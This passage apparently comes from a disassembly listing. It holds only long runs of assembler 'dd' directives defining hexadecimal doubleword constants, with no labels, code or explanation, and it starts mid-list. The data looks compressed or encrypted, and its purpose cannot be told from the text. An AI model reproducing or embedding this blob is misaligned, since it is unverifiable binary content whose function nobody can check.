993810EFh, 2E512E84h, 405300BEh, 4D1996D0h, 204EC0AAh dd 95430478h, 7D38973Bh, 0D4800BA5h, 8396F805h, 474CAE14h dd 71F507ECh, 93A049FDh, 8978D1h, 0B329EA73h, 2B26777h dd 0ED0010BCh, 1C8C0974h, 0AA61C07Fh, 3BB4A905h, 0E4E5D9F3h dd 270BE736h, 8D4AFCh, 7AE893ECh, 585A4CF9h, 0B78074C8h dd 47D0B5Dh, 0DDC31618h, 0BE5A072Bh, 0A64A8070h, 74B6A881h dd 0B9364080h, 0C1578AECh, 0D964CA8h, 3DE0824Fh, 6634B866h dd 0AC11F138h, 0BD418790h, 6A82C140h, 0F163E0E3h, 0F53424D9h dd 2CF8176Bh, 0E700560Ch, 8F2F4007h, 0DF36C5h, 418306C8h dd 1178F86Ch, 92CAD214h, 0C0584C8Ch, 0CD906263h, 0F6990049h dd 11A6773Eh, 8F4DAC4Bh, 0E97267Ch, 1B5CA92Dh, 4E84A038h dd 9E2800EBh, 0DCF14893h, 1800ACF0h, 1D6AAA0Eh, 5373E96Dh dd 0F500A0CCh, 0AAE81EFDh, 0F67A21D4h, 7267C400h, 0A3F9FC6Bh dd 38AB308Dh, 9B3D9561h, 9705D174h, 19EB753Bh, 330088h dd 28B68C6Fh, 3231F56Dh, 0F1005AE8h, 5489DE52h, 28B1092Ch dd 5BC8267h, 0E9747BC1h, 1464E419h, 21182600h, 2E55A8E1h dd 0B2B7D0Dh, 6381C501h, 0EC0030E4h, 25D19A4Fh, 289620Ah dd 10D41184h, 0C0585B12h, 0BE974017h, 7C842C90h, 1FE6ECC4h dd 0C2162EFh, 97D157C8h, 1CB1BB7Ch, 81D3F100h, 9E720BD5h dd 36A9D88h, 0DCA7B608h, 15241EC9h, 0A6161008h, 0E8817C4h dd 1D044688h, 0ADC0C270h, 8CC1F4E2h, 1666114Ch, 6288BC68h dd 21B32743h, 12084828h, 70E0B022h, 5E0BC6CFh, 172B78Dh dd 23D29744h, 323B1A30h, 0AD3960E7h, 6A0E0464h, 20A51F21h dd 0E7F256B0h, 2A8A3059h, 999D36E4h, 0C77BB712h, 4C192C88h dd 4988C40Ch, 6D85D280h, 44A695h, 0BBED1E7Bh, 0F356B950h dd 0D40C1502h, 797D66E0h, 77626194h, 571B3043h, 10E5FA01h dd 0BAB96667h, 47A2029h, 0D23BC15Bh, 0ADB8C0B1h, 0F9F0DD71h dd 0AC130C99h, 95694820h, 96090037h, 9A2708C6h, 810576C7h dd 5EFE5B4Eh, 7CD6B801h, 1431D0FCh, 7BE14031h, 58AA9458h dd 7019440h, 7281B920h, 2D9C22FFh, 1438A07Dh, 0A66311h dd 0F2D93D2Eh, 4813552Ah, 92539409h, 28286871h, 0A4DE00DFh dd 80EDDD0Fh, 0BC004840h, 504A5DCDh, 441C84BAh, 134E6604h dd 7A2A7C41h, 303C9BFAh, 2B46E483h, 0BDA984D8h, 6C20894Ah dd 0B8D8737h, 365FBCA6h, 90A76C80h, 0DB5CF116h, 0CC702E34h dd 7A1910B2h, 9A3E0084h, 68B73B1Ch, 0CA00A869h, 0C360C264h dd 3B59C136h, 101713C9h, 0EBE4888Ch, 3668C000h, 0EF3C1279h dd 16890369h, 991C5CECh, 5F32C3E0h, 5E07C8A6h, 9BB0AE12h dd 0C42F48B0h, 87609419h, 218EEB40h, 27A8A709h, 13B8236Ch dd 0A198D475h, 1D3423E4h, 1A4C58E2h, 798BE86Bh, 0D87D486Ch dd 2264BF1Dh, 720DFC96h, 0E0F261F1h, 0E13E7C1Ah, 22084CCh dd 0D7876766h, 9090BA97h, 31C07E1Ch, 0D046A6AAh, 0BF211C71h dd 1591403Fh, 0A85D923Eh, 3460192Ch, 66E02FC7h, 0B0F145h dd 8C01D9C7h, 0D8A4E37Fh, 373E7706h, 8939ADh, 511CA1C0h dd 0ABE349B6h, 180D096h, 0C4BADAECh, 0E8120F69h, 47821064h dd 0F061AF72h, 0BA41830Dh, 80E643CAh, 980E6Eh, 2357562Eh dd 0ABD48E31h, 0D7639A05h, 0F1C166CEh, 402A7D4Dh, 7A0D9584h dd 401C75FBh, 0CECF8226h, 3051AB1Eh, 90689E14h, 1A3500BDh dd 7D6EC9E6h, 0F200D4B9h, 92C1A10Ah, 7B51FE66h, 0C6E41BE5h dd 40E4C9E2h, 630201D4h, 87B60032h, 51542709h, 0BEE561h dd 852D640h, 0F0CA1FDFh, 58A02FD1h, 79DE6439h, 76EACF00h dd 773EDF5h, 46FA4B3Ch, 0D0787CB0h, 15E97D1Ch, 8C76F180h dd 4ADEF984h, 0EC088810h dd 0E10A2400h, 0FF75070h, 1ADD00E5h, 7ABF32C4h, 0FB0EABAFh dd 49658510h, 809C5B4Fh, 0BC5B7334h, 4E00C2A0h, 2E086362h dd 30DDAB6Bh, 29310465h, 7005938Fh, 9C1BD8F1h, 27005CF2h dd 20A0BDCAh, 0A1276D0h, 40007567h, 419071CEh, 0D1BE187Ah dd 26108081h, 3DA288h, 6F590C75h, 84FE132Ah, 63903995h dd 0CB38A310h, 88D2DA00h, 2E1DCEACh, 30F51F3Ch, 5733008Bh dd 14E965DFh, 43085C8Ah, 0E19827A2h, 9107AA3Dh, 0E0FDF660h dd 708B43D2h, 6290BE4Ch, 0A85A1F66h, 29128258h, 8F85E477h dd 0B0815BDAh, 0B200E51Eh, 31C0247Ch, 1BBB6BA3h, 45B7CD5h dd 85E7E39Fh, 211884E5h, 3CBB66E8h, 972DA0C4h, 2FC00002h dd 0C10FE317h, 195B72ECh, 61E47C71h, 255BC428h, 0FC7830F4h dd 0D81D9DEFh, 0D40B04Eh, 536E4276h, 0B8850235h, 19125517h dd 6F2C6072h, 0D43B1004h, 6C7866C8h, 6822E04Eh, 820016A8h dd 19443289h, 40E6AC83h, 784014ABh, 193287Ah, 6040444Ch dd 691A2B00h, 8381D2F5h, 0F1CE0084h, 0CD112E2Ah, 0A200A128h dd 0E96C6239h, 80F76F94h, 0A4B33CD2h, 9A1B2580h, 6247E31Dh dd 66D0C975h, 509304F0h, 36CB0C00h, 0E46206E4h, 7C260021h dd 0A25E7803h, 962CBF45h, 0EF008073h, 613BBA65h, 540795E3h dd 45BF707Ch, 23132B63h, 0AC00D410h, 94089383h, 1CA84CFFh dd 2B7DE480h, 0FE009218h, 0A9A0FABAh, 0F8D1D4B2h, 0B4B8077Eh dd 7C738CEDh, 77003AC9h, 0DA7F456h, 0BDC75Ch, 930F1721h dd 893E53E6h, 181088BEh, 909DB51Bh, 0D8F1E82Ah, 5F761F40h dd 72F0483Fh, 0F0524A44h, 0F9019CDAh, 0AFBFC337h, 286C890Dh dd 0DC63AD80h, 5A006756h, 0F2CAE853h, 13A8090Ch, 30EFCE13h dd 0AA59D78Ch, 0C6F74100h, 3831D88Bh, 0E2FE029Ah, 33EE9B56h dd 0A4C0C9C2h, 64488C02h, 0FF505088h, 30A4A9C5h, 1EAC4E4h dd 777EA226h, 0EF1FBA74h, 205111EAh, 88936111h, 7A4DA094h dd 0F9CBC004h, 14B6EA5h, 83EF49FDh, 0E8B38A92h, 784ADFF1h dd 685C2097h, 166511EDh, 0B02A2821h, 0A870A26Fh, 95AC0939h dd 6F6214A0h, 1A4CB754h, 83AB0287h, 0F9EEDD6Bh, 58BD14FCh dd 8894E725h, 2AD59500h, 0C98DDBBCh, 2AFE4877h, 30643838h dd 2E9B2271h, 4CBCAE20h, 1095518Dh, 8004C110h, 0EB049775h dd 1113270Ch, 0E0240082h, 4150F9D4h, 10D84022h, 964C9774h dd 467A8B50h, 402B4C20h, 149B74C9h, 5847DBB8h, 82121400h dd 5D23C9C0h, 9BB5A2Eh, 0D4844E18h, 883F30B9h, 0E1453EBDh dd 0C1811737h, 74738A79h, 0DF328DDCh, 213880F8h, 7C8766EAh dd 708516ECh, 6BA174C0h, 0A8842C6Ch, 40DF4EF0h, 503B78FAh dd 0EC005B3Dh, 46B8C18Bh, 6AF96BDh, 4B8272CEh, 930A40CDh dd 0C812A16Fh, 52DE511h, 0FF3C1C82h, 14103059h, 6141FCC8h dd 76EE03BAh, 0D5A94004h, 23092EEEh, 0A27C8A80h, 867A930Ch dd 5839C9C8h, 0FA10147Dh, 21BA844Dh, 0F2B01645h, 86251690h dd 38999A01h, 90EF1492h, 4CE5D02h, 0DBE2EA6Eh, 8814F087h dd 0FB8AFF02h, 0E0293DA1h, 0A4E672F0h, 849880A0h, 0A197174Fh dd 9C80887Eh, 0AA2569DFh, 0C43C9020h, 0A9BD00FFh, 1981AEA5h dd 0F4027B71h, 50D9B326h, 2F345404h, 0DBF95093h, 2494DC91h dd 0A41B5904h, 94F32F93h, 1DA14200h, 0B87406ECh, 5872AE00h dd 0E5F9E982h, 66640904h, 402088B9h, 0ACBEFE2Ah, 47763B02h dd 8349BC97h, 0A40BFA5Ch, 18018E9h, 0FC6092D5h, 410F901h dd 550B1AC4h, 0D74490DBh, 2069250Dh, 4B00C8C4h, 34EA7912h dd 50B396FEh, 9566A4ADh, 397D1403h, 783D2958h, 772D5800h dd 7A336C8Eh, 209D4B94h, 0E4A2F634h, 937D7009h, 6D682095h dd 1E9BAF97h, 4CE34031h, 1A51491Dh, 7004A09Fh, 906854A6h dd 45F498h, 0FAD9C52Eh, 13D6217Eh, 61581406h, 4240B58Ch dd 37F223Bh, 0CDFFB004h, 75D098EAh, 78D54908h, 31FC9DD4h dd 0DBB33167h, 9E124F3h, 0ADE609E2h, 0A0976C21h, 0B4702A75h dd 83769Dh, 25325AA3h, 3551F2C2h, 137CF902h, 9E18EEAh dd 5029D484h, 0F47F2CD4h, 1D36750h, 36E57E3Eh, 28C1E4B0h dd 66480F7Ch, 81E8788Ch, 9A3D04FCh, 0C0FB0AA8h, 1D743FBCh dd 0FC756338h, 0EA407494h, 0AE70F6h, 6931FAF9h, 837971A8h dd 8439E475h, 0EA730245h, 0E617603Bh, 80A08594h, 17E978CCh dd 352C2DC8h, 121206DEh, 177EACA2h, 0C85906F1h, 0C2019064h dd 66D68047h, 0B370A71Bh, 4B8D7D5Dh, 189C8A12h, 48C0A547h dd 0FA2F073Bh, 0F067B091h, 6436C033h, 1CA14B00h, 4A757D8Bh dd 558301E6h, 0AB849FF1h, 9778647Ch, 0D84CBF24h, 7C890E64h dd 24BF6800h, 0E3B60EE4h, 0F2408786h, 0B18B0423h, 0DE4AB778h dd 430B88Dh, 743B07D3h, 4333A19Ah, 83DCF435h, 51095306h dd 0C54DE43Ch, 0A20502B0h, 8856208h, 318C3089h, 0B00A40Ch dd 0ABA66830h, 9022FB72h, 389F4594h, 0D5A78AFCh, 8E6BE002h dd 98244C73h, 38125414h, 0B8F90184h, 9C1B6167h, 0BB20884Ch dd 20019332h, 0C99E4A3Ch, 93192E0Eh, 32B2A322h, 708E8816h dd 0F48B4CCCh, 529A6C00h, 623BE574h, 1D381095h, 0CBEC0053h dd 7385395Bh, 664C14BBh, 69563044h, 9993A216h, 0E7381210h dd 0DF0B00F8h, 2EE5ED5h, 697032Fh, 4C7CB232h, 211A2125h dd 9448E424h, 8FC670h, 75E77AA5h, 0DB04E0EAh, 2AD14205h dd 9C1E62FAh, 23F2F88h, 7869BF09h, 11936CE9h, 4040B866h dd 5AF0E589h, 9AC98DDh, 0A38D3F0h, 90DC9405h, 50B9111Ch dd 70A5160Ah, 113DBA64h, 14602280h, 0D5712D0Ch, 0BF9A3400h dd 19094712h, 0A04F8B58h, 5C5DC0C8h, 0F18B18EAh, 0A8088059h dd 28F0A464h, 802C9100h, 0B44FBC3Dh, 2F3B9621h, 825782B5h dd 82F7AC34h, 277CBD20h, 7C856B85h, 0EB7041E6h, 944EFC3Bh dd 9FCCAC11h, 8912560Ah, 91CF9709h, 402BAB84h, 0EB998EC8h dd 0B090BF0Dh, 0AC8A0600h, 0E01E0BCCh, 1F200111h, 969E197h dd 18206E67h, 5CB42343h, 70015CA9h, 34D0C861h, 1D91ACDCh dd 0ACADB90Ah, 96E67A41h, 0E0A16441h, 0DFFF9048h, 0E33B0351h dd 26D0F9EDh, 0C4B1A885h, 40EA3600h, 0C46366h, 8E6DF850h dd 0BF3B7784h, 0ED0B4C99h, 1B50190Ch, 9E6CFCh, 0B7B9B164h dd 920DFCE7h, 80E8194Ch, 30A5ADDh, 6626016Eh, 0DB86D74Bh dd 9D43989h, 82960DFDh, 52389ED8h, 0C8B94B18h, 0F88B7FBCh dd 68DE14h, 8BB7A8B0h, 37D3DBB9h, 29E55F04h, 4AC5C12h dd 0D2147E80h, 1802CDAAh, 728937ABh, 1E48EC93h, 3CA2B885h dd 1F809A6h, 37E57317h, 0B871A3h, 0A6E48924h, 0D84B4701h dd 0D13E562h, 0B7A4202Fh, 0F65C8AF0h, 503E00C4h, 0D0E8548Eh dd 5FAD1DD2h, 0E6EB4FE0h, 0FA3C3982h, 759F90D4h, 21A809C1h dd 186188E7h, 27E9B018h, 48919A0Ch, 722370B7h, 6B67F302h dd 7C2AAC5Eh, 51C2494h, 88AB8521h, 0B8008A80h, 270E354Fh dd 732E91Eh, 0EABEED95h, 0F78C2010h, 692C17A8h, 0BC2078CDh dd 1BFF3B1Ah, 547999h, 71C2EB19h, 1F0030DFh, 0D8F30394h dd 2634931h, 3D66E8F4h, 87126BEh, 7A12FC03h, 0FB5EA077h dd 61080096h, 0F5CDD95Dh, 191360D7h, 0A4A713AAh, 0F05C7E00h dd 28DAD4A1h, 0BD07C57Dh, 2A7A69A7h, 44A5CB24h, 0F280A07Ch dd 4A99EBC3h, 0CE4F3300h, 5CCB7B80h, 162CA822h, 25B80355h dd 0FA4C6F78h, 430E3D98h, 0CCBAED2Ch, 78D63Fh, 0D7BB505Dh dd 0BAD605h, 5136F099h dd 59B5AF25h, 0A19F4E01h, 0E307E1E5h, 0CE073C63h, 60168A8Eh dd 81F0394Bh, 0F828BD28h, 4820385Ah, 0D68BD5h, 34962045h dd 36D3B6DEh, 0A56FFD04h, 54222A2h, 60E0427Eh, 898210A7h dd 0E01C10CCh, 0FCBE00F3h, 4B98D40Bh, 6300B122h, 84D403Ah dd 97DD5Ah, 0EAFC7627h, 96E515CFh, 83266BE8h, 74204034h dd 0DAB5060Eh, 523500FCh, 380382h, 46EB9A94h, 1C27FD0Ch dd 661F8600h, 6D131EACh, 7526273Fh, 0E1548090h, 0C8C72200h dd 0AB38C69Dh, 0FDEE0010h, 3E0B7A73h, 57136F17h, 44B82BCh dd 81702E15h, 0D87D7CE9h, 1624F428h, 41A02ED8h, 0D96B2C17h dd 0DBDAC037h, 53E087E1h, 0CE51695Eh, 0C6FE0525h, 0C491B73Ch dd 0CE0AC43Eh, 0D8A0C10Bh, 0F2086E2Bh, 606E01BCh, 25D2995Ah dd 0DC3BD109h, 330B0362h, 19937AE3h, 20D2B91Ch, 8C427DECh dd 0F0001D42h, 0C054348Eh, 0AC01F66Ah, 0F18CBD35h, 202AC37Bh dd 65CD8098h, 0E051B100h, 7D38BC0Fh, 559B004Ah, 901A5363h dd 814CC652h, 0AFA2C06Ch, 0DD09C0h, 0FBF00E82h, 84EF8E1Eh dd 67EC8717h, 15FD088h, 0D309DA3Fh, 70717C69h, 61627DF0h dd 61757908h, 18503A64h, 1B39CBFh, 8901CD82h, 7610E4BAh dd 0B9FD408Ch, 6F3A8E01h, 47E5B883h, 0A0304831h, 2A85887Dh dd 683EA001h, 3C81E570h, 0FBCC7BF5h, 9108B918h, 78884B32h dd 5E8E00C0h, 4B7421E0h, 990517EBh, 0D8340C83h, 0D98070A8h dd 9D72E4E3h, 16966100h, 20406E8Ah, 741925A8h, 0D84B80E1h dd 5412FE81h, 108C3B66h, 0F49686B9h, 3C172311h, 0EDB43560h dd 0D0D5C514h, 0F4C2A8C4h, 803C7376h, 7C4275A8h, 0F200E9CEh dd 2B080B6Ah, 489DC188h, 2922CC52h, 0F7261000h, 58D269B0h dd 660C0050h, 0BA33E587h, 999F86C6h, 666F8A5Ch, 0A700B04Ch dd 62F183E4h, 128C2E81h, 0C12BBF08h, 67A0D64h, 22BA4F28h dd 9410FE00h, 49680169h, 0F6823BD7h, 0E26C604Dh, 0F896F726h dd 0F898C02Dh, 6C618A48h, 0B840822h, 70A39720h, 51B050CEh dd 17005EE6h, 79AE524Eh, 0E9288Ch, 972E8083h, 7DF67204h dd 30FA91CAh, 71851191h, 1CC40B7Ah, 0A54EA8F1h, 0D88C4DFEh dd 0FDE10087h, 0EE5FFC52h, 596B1996h, 0DB540299h, 1E8594Ch dd 0E9E33C03h, 861AFC69h, 2B671512h, 9A0170B2h, 0E51019DFh dd 201270E2h, 483D227Dh, 0BA510201h, 78A8B3C5h, 94155120h dd 91E58430h, 95678418h, 326C857Dh, 6718FC28h, 0ACED0C53h dd 6D2020EAh, 66251709h, 1194911Eh, 786C6061h, 12141982h dd 0AF6053h, 696261F4h, 337098E2h, 0EA41670Eh, 0FE3BA012h dd 70C2B4A3h, 0F6C0EB97h, 0F9F0FC13h, 283CE331h, 0C822611Eh dd 3E4FCB80h, 200A0F4h, 5BFC475Fh, 0C8B3B7F1h, 45911438h dd 0E4FF3C12h, 9244AC40h, 667D2Fh, 3995A6CBh, 0F96414EEh dd 28C5AB16h, 33E38F6h, 0E73CB585h, 0EAD045ADh, 8B248C74h dd 43762E00h, 32F31C7Bh, 0A92B00A7h, 3F4518CCh, 4707B0CEh dd 0AC8246A6h, 56F81A59h, 0DE2F78D4h, 0E8CA90B6h, 0BBC27937h dd 72892217h, 0A0208451h, 0BB743302h, 404875ABh, 811089BCh dd 0C0691Ch, 0B11EF314h, 0E0D995Ch, 38E3FA3Fh, 9C380853h dd 180BFC45h, 8DC848ACh, 8704078Bh, 0D51E9B48h, 0FA604812h dd 0F1ED61C0h, 883D4B5Bh, 7000BD14h, 9E949A25h, 2475FE79h dd 60841596h, 0DEFF97AEh, 19F74F09h, 10502698h, 9EC7449h dd 0FF7A14C3h, 979AF048h, 8F22416h, 5D44005h, 8400FCB6h dd 10F91F9Dh, 0DD1DD16Eh, 0BB5E1CDEh, 14BA9785h, 1B938A0h dd 6003A1F4h, 9F98222Fh, 4C5397C0h, 320F00B6h, 0B8523EA4h dd 693900FDh, 6011853h, 4A87FCCh, 2681CD6Ch, 6054C176h dd 441C08FAh, 0B7040521h, 0E0731378h, 5900A4B2h, 5D66EAD3h dd 8600727Dh, 0C1C7E244h, 0F61BDF8Ah, 0B0480707h, 453F6260h dd 9534CC64h, 9AE0B200h, 27ACAF9h, 0E9C90020h, 50E71C1Fh dd 51284BB4h, 85009CF2h, 0FE397D90h, 0E37E55Bh, 789A7C0Fh dd 8A238BC2h, 257FB840h, 41E41AB5h, 202E8FB1h, 0A3F8A278h dd 1985B609h, 4CD0FA90h, 0ACD10C94h, 0E284214Bh, 0FAC4C09Fh dd 0D690C1Ch, 131A2AC2h, 51F0C28Bh, 0A3000BCh, 468E277Ch dd 0F5415600h, 3CC71184h, 33CE4B7Ah, 0A949EC74h, 0FF3FC23Ch dd 3C88DC8Bh, 343C1792h, 806CB2FCh, 91DE01B0h, 0F68C0B7Dh dd 0C0C87CB1h, 4438AF3Fh, 6A6B8070h, 6979D40h, 85B226CDh dd 66380E2Ch, 4F8CB236h, 0C715880h, 1B7C92D1h, 584D1110h dd 1BC887B4h, 0E1BB4081h, 0CC781014h, 0CB840A8Bh, 0BE721C6h dd 38F02CA2h, 45901097h, 1B3B01D8h, 57D59692h, 16D2E8F7h dd 0EC1F431Eh, 0AD461802h, 40B85526h, 0B009BFFh, 610358B7h dd 26A997DEh, 409C19B2h, 0E677B589h, 84AE0507h, 94A02A4Ah dd 7BAB6979h, 1788D243h, 731C201Ch, 1C22729Ah, 0E93F004Ch dd 5B25D021h, 4F2E5E77h, 102FA4C3h, 2FFA2A0h, 8EE04BCAh dd 0B864C872h, 9897977Dh, 9B39788Ch, 9B2D03C8h, 71A93B02h dd 0B6AEF84Ch, 2CD7B324h, 0E225A02Ch, 0EB24F890h, 43C0FCE2h dd 57889B68h, 59007E73h, 2964D286h, 0B8ACECE2h, 876704F4h dd 0BC04DEF9h, 0C9C281ACh, 0C7F8BCA9h, 43B700CDh, 0FCA705F2h dd 855F89A6h, 20A38420h, 528E07B4h, 307C60E2h, 817822F4h dd 92D7C100h, 0C5B0208Fh, 79120084h, 828BFDDCh, 812541F1h dd 0DB7CC81Dh, 0C71A0385h, 7A230CAFh, 0A0ECE8ACh, 3C1B62Ch dd 0CD2F9067h, 0A4F01A6Ah, 922EBD5Ah, 18C9B87Bh, 770A69Ch dd 1AB23822h, 9013708Ch, 7C01E3CAh, 613C6FE5h, 88646BBBh dd 14E1207Fh, 7513E722h, 0C8234A61h, 5F00F654h, 2AD8ABDh dd 91D1FEAh, 4C902C39h, 0AB0090C4h, 8DF7246Eh, 1DDD6876h dd 54F436h, 9EE31E77h, 40B0902Bh, 2931BE61h, 842124E9h dd 0F97A22FEh, 42FE046h, 0CC68C970h, 0C24418ACh, 3C226AB9h dd 855C98FBh, 8AEA0070h, 0C27A9383h, 725B73CBh, 0B23DE840h dd 4AE219Dh, 0C4D4F274h, 8024FCCAh, 183BA1FCh, 8778092Dh dd 5411CBABh, 0D6B86894h, 9C71D848h, 31844010h, 0C8BE1941h dd 0E45D6113h, 30B25413h, 0C8810180h, 11127730h, 0F45321ABh dd 0A9888Ch, 11E2A26Ah, 0FE4091B1h, 6D4B9302h, 54CB3538h dd 2890083Ch, 938A7181h, 188B177Fh, 0FCBB820Ch, 40FC1CA3h dd 3C142EF6h, 519D0069h, 0CAEFE9F9h, 8942C88h, 2B627C00h dd 0B8EA7552h, 0E508F524h, 0C8A4B8E0h, 1E849342h, 8E25659h dd 2DC5B861h, 19DBC8EAh, 0CC7A7B27h, 385400D4h, 736DE38Ah dd 2F005A1Eh, 0A1D4CA9Fh, 72BB6C1Dh, 0FFC33084h, 4E2C29D0h dd 1C2D2090h, 319C3112h, 5E7BE0h, 9C1EE3ADh, 193863ECh dd 0B967713Fh, 0E5B825E9h, 3C700E4h, 66D4F0Fh, 0EE008FE6h dd 8507F0ABh, 23459BBh, 81666810h, 78E295FEh, 41325084h dd 4C6BBF09h, 0C85E1C78h, 0D0BB85F0h, 0CC84E17h, 4554B6A5h dd 0CDD0D995h, 15F83373h, 1CE53Bh, 0F5E4594Ah, 7E7298DAh dd 24E95148h, 70E1404Ch, 0AEEE1Ah, 0D0A232F6h, 91EE807Ch dd 523C68B9h, 0CA40380h, 0D00ED272h, 905A2A5Eh, 0DAAE0152h dd 0F449DD93h, 2BFC3084h, 0E8886681h, 94193960h, 28287C71h dd 0A3D84731h, 52850015h, 0BAB30070h, 0A9EBFC95h, 614FE4B8h dd 1A194067h, 0B1E4CAA4h, 0B4746628h, 0D039E19Ah, 1CE1017Eh dd 0C6FA8F72h, 4C338Dh, 0C32F2B26h, 0B36C44h, 8AC9A538h dd 0C6A85DE4h, 0E5663504h dd 10D5B119h, 0DD0024A3h, 76A5D7C8h, 58007A4Bh, 9853248Dh dd 5C9D0E99h, 0A5C0008Ch, 8EBC3FB0h, 0BD4BA900h, 7AFD99EFh dd 6084507Eh, 0A6C891FAh, 0FB8D0048h, 0A6CA25A1h, 2A858202h dd 5E7CDBA3h, 0B0EF4760h, 5711A1E3h, 0C492FA30h, 0AA999D25h dd 1CE08380h, 75E904CFh, 0F8B21113h, 98AD80C8h, 1EE4ED69h dd 9DF9B643h, 8EEB00D5h, 0E5DB8920h, 0E4406894h, 2EE3B256h dd 4578CB7Ah, 12A4F8ACh, 0C83014C3h, 3FA4EF3Dh, 0A2005E73h dd 0E0B08BD8h, 781F8189h, 80BEE499h, 4FB885DEh, 58065BF0h dd 20800072h, 0B79D084h, 644DE800h, 0D540BDE1h, 0BEC33D21h dd 98519500h, 2AA835E7h, 94038A78h, 32173D2Bh, 9B08001Dh dd 0CD8C982Eh, 0BD7EE34Ah, 399D1E05h, 688314C8h, 0D630009Bh dd 0A7EA6B52h, 0AF002E24h, 2DAB1C80h, 609E983Eh, 9D2B4851h dd 7E7C1BD1h, 0E70011D3h, 21E8A5EFh, 645F00C0h, 3F4F883Ah dd 3090F54h, 7716C9A6h, 61BA6081h, 0BB398001h, 3222BD13h dd 73FF0080h, 0C9097875h, 0F803DDFCh, 0BAB15B84h, 539C1ACh dd 8A0B6440h, 0A2A01E9h, 0B0980836h, 0F851B22Bh, 1004119Fh dd 0C82E81h, 46AE6842h, 20079212h, 63889838h, 0A43A7039h dd 8D139400h, 7D00510Eh, 851F5D83h, 0E1D72A1h, 0D27F7608h dd 291A2C80h, 5A48E0BBh, 407E2881h, 2400A075h, 63A7E3EDh dd 98F411h, 74AB9514h, 56064296h, 0D0154CA9h, 19014937h dd 9A207DEh, 899F24A0h, 2960BD77h, 27C41CCFh, 11F91B00h dd 0ACB2391Ah, 0E0A0E40h, 934699B5h, 2344C916h, 0F5960033h dd 0A432ED62h, 8752919h, 0A0769800h, 7A8173A9h, 581672FDh dd 0E009ACBAh, 8232B93h, 4DA8A6Ch, 77A11701h, 0ED8076BCh dd 3C3F9560h, 69C02F1Fh, 196A0414h, 3BBB1E13h, 811973B8h dd 70146EEBh, 98F88893h, 0C6261A60h, 0B99262D9h, 11CB6600h dd 5870688Bh, 1863F60Ah, 21956293h, 0ED5CB42Dh, 4DFB00CAh dd 9F6426C4h, 0C025B03Ch, 0DE4C2871h, 80773A2Dh, 883761CAh dd 1373EA60h, 0C01F0E2Ah, 19BB19DEh, 188832C2h, 0C9938038h dd 0B22CBA5Bh, 0DF0C8575h, 292A0F63h, 798120Bh, 2FB0289Ch dd 0F0388603h, 0E78FD760h, 84190Ch, 6B7B8019h, 97230A39h dd 153F7900h, 3BCC41BCh, 0AA57814h, 8A19DD1Ch, 0E65A03A4h dd 41003A33h, 1D478DF1h, 32510D2h, 8B90A89Ch, 28B5222h dd 8FFA1BB8h, 0B8A0CA7Bh, 39DC013Dh, 35932240h, 0F19BBF2h dd 781F4F3h, 0B806B9F8h, 71152509h, 781D8CE4h, 1EECA613h dd 7C7B0A0Fh, 884BF850h, 0D3521B3Ah, 7C5298h, 8A7442BDh dd 3144EBh, 18F247B6h, 0E56BF6C4h, 6F0A09F6h, 0B070EE36h dd 0E3323D80h, 1CBD582h, 425AFE96h, 2081B2ADh, 2C996230h dd 8EBDE701h, 20E0E267h, 0AAF20071h, 5FB8D431h, 0BE0966F7h dd 10620FFEh, 207430h, 491E485Eh, 0E88A8354h, 8FD7F53Ah dd 0A0FA534Ah, 9C94EC74h, 84925507h, 1351ADCh, 0CDE68115h dd 80637D8Ah, 0AFC32BE1h, 7E7032h, 0A30B0148h, 0EA7BC60Ch dd 0FC1C3929h, 0F4B8FD01h, 0C047D0F1h, 0AF8A7F90h, 3261C96Bh dd 0CF57E410h, 632A2903h, 0A0710381h, 72CEC87Eh, 98E70409h dd 4817049Dh, 260B804Eh, 73292D8Dh, 1F153A1Fh, 9289DD80h dd 1C6AC4Fh, 0B0165751h, 0F90B2C6Eh, 0FA39803Bh, 201FA2EDh dd 50C501C3h, 0A1F23F55h, 0DC4EC9EFh, 8100BA6Eh, 880F02F8h dd 3C8C7CA3h, 4149FD1h, 8708F4EBh, 3C063B16h, 5859320Ah dd 70832C18h, 0DBB880B6h, 0CF03B3E6h, 6343D55Ah, 0D46AC845h dd 83CC001Ah, 8A2C49BDh, 39C377A3h, 243C8F98h, 61480CE9h dd 0C0771AE9h, 0BA19B942h, 21D097E1h, 0E2EF6610h, 0D4A29F00h dd 4B2DB8E0h, 762A072Fh, 565B61A5h, 0BD226808h, 0B0360C9Bh dd 11C03AE6h, 0C8606348h, 2486B202h, 26040C82h, 8912382Ch dd 421E0847h, 317C7F45h, 0C58EB90Ch, 39B6086Eh, 0B7809F42h dd 871428A2h, 0E672FF98h, 1F29E900h, 51915A93h, 307C6E78h dd 6ACC0B40h, 0F0EA7BC7h, 0EE18B660h, 75EB2B37h, 1D9D0177h dd 6F9C92B0h, 721BCFAh, 0D522C21Fh, 599070B0h, 0BC12397Dh dd 5A164E81h, 0F80BB46Bh, 726122FBh, 9F2A7B99h, 0B851418Ch dd 19582881h, 8ACB005Fh, 814066F1h, 340C0C2Ch, 0D2408C6Dh dd 7415B440h, 0A21380A9h, 0C7EA0207h, 0E1609AA7h, 7871ADh dd 0B10DD3C4h, 2A6E81Dh, 0EA63AA77h, 378C569h, 47BCFA89h dd 34E096C9h, 9C0341C7h, 6FBD291Fh, 0FAA107F8h, 0E0D8DA35h dd 0A97A8ECFh, 53A89E4Fh, 0EE9CF900h, 0D30CEC09h, 0B8BC94A0h dd 69AC5132h, 14D7E094h, 96E60B9Eh, 0C68036EEh, 159DB074h dd 9CBAC806h, 3869F16Ch, 0D008DE0h, 8270A22Eh, 81E7A3FDh dd 0FB017CF1h, 0B98C6D38h, 4E199615h, 0AB378900h, 0F2144FA1h dd 234C071Eh, 0AA76A99Dh, 751178h, 46B28725h, 618D048h dd 43707C23h, 0FB1128B3h, 9C000229h, 3437E994h, 6C707798h dd 4E61990Eh, 56FA80F0h, 2855129Dh, 1650FDA4h, 32DC098h dd 713FA6F2h, 41C5E981h, 0BE921560h, 7A7B8F29h, 138CA067h dd 30F2D1F7h, 0F796FC5h, 0BC007D2Fh, 0C6235DC3h, 191426Ah dd 4BAE2A9Dh, 0D472C405h, 9028A437h, 0BA007051h, 9247CBC5h dd 1882D22h, 0CDFE43C8h, 0F4B60401h, 15019CA2h, 987BEF4Eh dd 99F4D80Fh, 0F5B9280Eh, 4BD91DE0h, 8B1F4025h, 81A38FA4h dd 0A0B1AF60h, 0C57936FBh, 24107BA1h, 22981DD8h, 71A9BD0Ah dd 7644B8A4h, 19626740h, 810F89E4h, 44EB6D92h, 0B082D597h dd 25FB2184h, 6C4ED271h, 36775C7Dh, 1359B100h, 6C44DCD7h dd 7F5E7B75h, 0CB100417h, 